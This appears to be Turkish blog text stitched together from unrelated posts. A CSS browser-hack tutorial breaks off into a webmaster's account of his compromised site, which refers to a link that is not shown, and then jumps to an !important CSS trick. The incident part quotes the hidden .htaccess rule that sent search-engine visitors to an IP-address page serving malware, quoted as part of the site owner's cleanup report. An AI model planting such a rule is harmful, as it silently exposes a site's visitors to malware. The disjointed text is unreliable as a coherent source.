CSS Derslerindeki CSS Sorunları ve Çözüm Önerileri kısmındaki birçok yöntemin ana mantığıda budur.

Farklı tarayıcılar için düzenleme(hack) yazarken genel anlamda iki farklı yöntem kullanırız. Farklı css dosyaları hazırlayıp bunları eklerken şartlı yorumlar yardımı ile farklı tarayıcılar için farklı css kodlarını gösteririz, ikinci yöntem ise kod içerisinde o tarayıcının gördüğü kod bloğu içinde ona göre kod yazarız. Burada birinci yöntemi(IE’de Hata Ayıklamak için şartlı Yorumlar Kullanmak) daha önce anlatmıştık. Bu yazımızda kod içindeki css düzeltmelerinden bahsedeceğiz.

CSS kodu içinde farklı tarayıcılar için farklı kod yazmanın en kolay yolu, tarayıcılara özel seçiciler içine kod yazmaktır.

Tarayıcılara Özel Seçiciler

IE 6 ve altı

* html {}

IE 7 ve altı

*:first-child+html {} * html {}

sadece IE 7 için

*:first-child+html {}

IE 7 ve yeni nesil tarayıcılar için

html>body {}

Yalnız yeni nesil tarayıcılar için (IE 7 dışında)

html>/**/body {}

sadece IE 8 için

.test { property:value; property: value\9; *property: value; }

Opera 9 ve altı sürümler için

html:first-child {}

Safari

html[xmlns*=""] body:last-child {}

Google Chrome and Safari 3.1

body:nth-of-type(1){}

Firefox 2

.foo, x:-moz-any-link { } 

FireFox 3

.foo, x:-moz-any-link, x:default { }

Firefox 2 ve 3 için yazdığımız kodu ie 7 de yorumluyor bunu engellemek için (Sonradan eklenmiştir.)

	.foo, x:-moz-any-link { }
    .foo, x:-moz-any-link, x:default { }
    *:first-child+html .foo{}/*ie7 icin normali yazin*/

Sadece Firefox 3

html>;/**/body .foo, x:-moz-any-link, x:default { }

Burada önemli olan her tarayıcı farklı görünümünde bu metoda başvurmamak gerekir, çözümü olmayan sorunlarla karşılaştığımızda bu kodları kullanmalıyız.

Bu kodları kullanma gereksinim genelde Internet Explorer 6 ve 7 için oluyor. Ama nadirende olsa diğer tarayıcıların düzeltmeleride lazım oluyor. Bir örnek yapalım

/* Firefox 1 */
.ozelSecici, x:-moz-any-link {
    background-color:#ffd560;
}
/* Firefox 2 */
.ozelSecici, x:-moz-any-link {
    background-color:#ab1b0b;
}
/* Firefox 3 */
.ozelSecici, x:-moz-any-link, x:default {
    background-color:#e6831f;
}
/* Google Chrome and Safari 3.1 */
body:nth-of-type(1) .ozelSecici{
   background-color:#e6f0fa;
}
/* Opera 9 ve altı */
html:first-child .ozelSecici{
    background-color:#a91614;
}
/* ie7 icin */
*:first-child+html .ozelSecici{
    background-color:#0098de;
}
/* ie 7 ve alt sürümler icin */
*:first-child+html .ozelSecici{
    background-color:#d4d0c8;
}
* html .ozelSecici{
    background-color:#d4d0c8;
}
/* ie6 ve alti */
* html .ozelSecici{
    background-color:#996666;
}

HTML kodu

<p class="ozelSecici">Tarayıcı</p>

Örneği görmek için tıklayınız.

Aynı XHTML kodu için aşağıdaki gibi farklı tarayıcılarda farklı sonuçları alırız.

Sayfa Google Chrome 0.3.154.9, Safari 3.1.2, Firefox 3.0.4/2.0.0.14, Internet Explorer 7/6/5.5, Opera 9.6 ile test edilmiştir.

• http://www.webdevout.net/css-hacks (*****)
• http://www.javascriptkit.com/dhtmltutors/csshacks2.shtml
• http://vikaskhera.wordpress.com/2008/08/02/css-hacks-browser-specific-selectors/ (****)
• http://centricle.com/ref/css/filters/ Önemli bir liste(****)
• http://www.siberkultur.com/?q=css-hackleri (***)
• http://www.sitepoint.com/article/browser-specific-css-hacks/ (***) sürümler eski
• http://www.artypapers.com/csshelppile/category.php?2
• http://rafael.adm.br/css_browser_selector/
• http://css-discuss.incutio.com/?page=CssHack
• http://snipplr.com/view/7043/firefox-3-css-hack/
• http://pornel.net/firefoxhack
• http://www.nealgrosskopf.com/tech/thread.asp?pid=20
• http://snipplr.com/search.php?q=CSS+hack&btnsearch=go
• http://fu2k.org/alex/css/hacks/fuzzyspecificity
• http://dimox.net/personal-css-hacks-for-ie6-ie7-ie8/ (ie6, ie7, ie8 ve ie9)

Ayrıca yazılarımın için yerleştirilmiş bir iframe reklam linkeleri de var tabi.

Yukarıdaki linkdeki işlemleri tek tek yaptım

- htaccess dosyasını sildim.
- ftp şifremi değiştirdim
- hostingh firmamdan sitemin bulnduğu klasörü bir virüs, malware taramasından geçirmelerini istedim.

Sorunun ana nedeni htaccess dosyasında ki kodlar olarak görünüyor. Başta uzunca bir boşluktan sonra aşağıdaki kod yazıyordu.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]

Bu arada cute ftp’de htaccess görüntülemeyide öğrendik.
http://blog.youontop.com/server-issues/view-htaccess-hidden-files-in-cuteftp-38.html

Muhtemelen sorun haftasonu benim kalıcı bağlantılarım gittinde oldu ve ben bunu anlamadım. Asıl sorunun ise sitemi yahoo.com’da aradığımda karşılaştım, linke tıkladığımda bilgisayarıma zararlı yazılım eklemeye çalıştı. Zaten yukarıdaki kodda da bu açıkça görülüyor, siteme direk girişlerde değilde arama sonuçlarından gelince yüklenmeye çalışıyor. Ama hesap edemedikleri şey google’un bunu görüp sitemi kapatması. Google’un ve Firefox’un sitemi engellemeleri daha bitmedi. Google Web Yöneticis aracındaki incelemeye alın işaret kutunu işaretledim ve StopBadware.org’daki formuda doldurdum. Neyse hayırlısı bakalım.

Bu durumu gören ve beni uyaran tüm arkadaşlara teşekkürler. Umarım bu tip sorunlarla bi daha karşılaşmayız.

Ek olarak

Ayrıca

http://www.fatihhayrioglu.com/?ref=siteAdi

gibi linkler var. Bunlarıda robots.txt

User-agent: *
Disallow: /*ref=*
Disallow: /*?ref=

kodlarını ekleyerek düzelttim. İşin ilginci bu linkleri google’un arama aracı nasıl buluyor.

p{
	color:red !important; /* bu kısmı ie6 görmeyecek*/
	color:blue;
}

sayfa için kullandığımız paragraflar ie6 mavi ff kırmızı görünecektir.

!important css ile etkinlik için kullanılan bir etikettir. !important tanımlı özellik daha önce yapılmış aynı özelliğin üzerine çıkar. CSS ile etkinlik hakkında daha fazla bilgi için tıklayınız.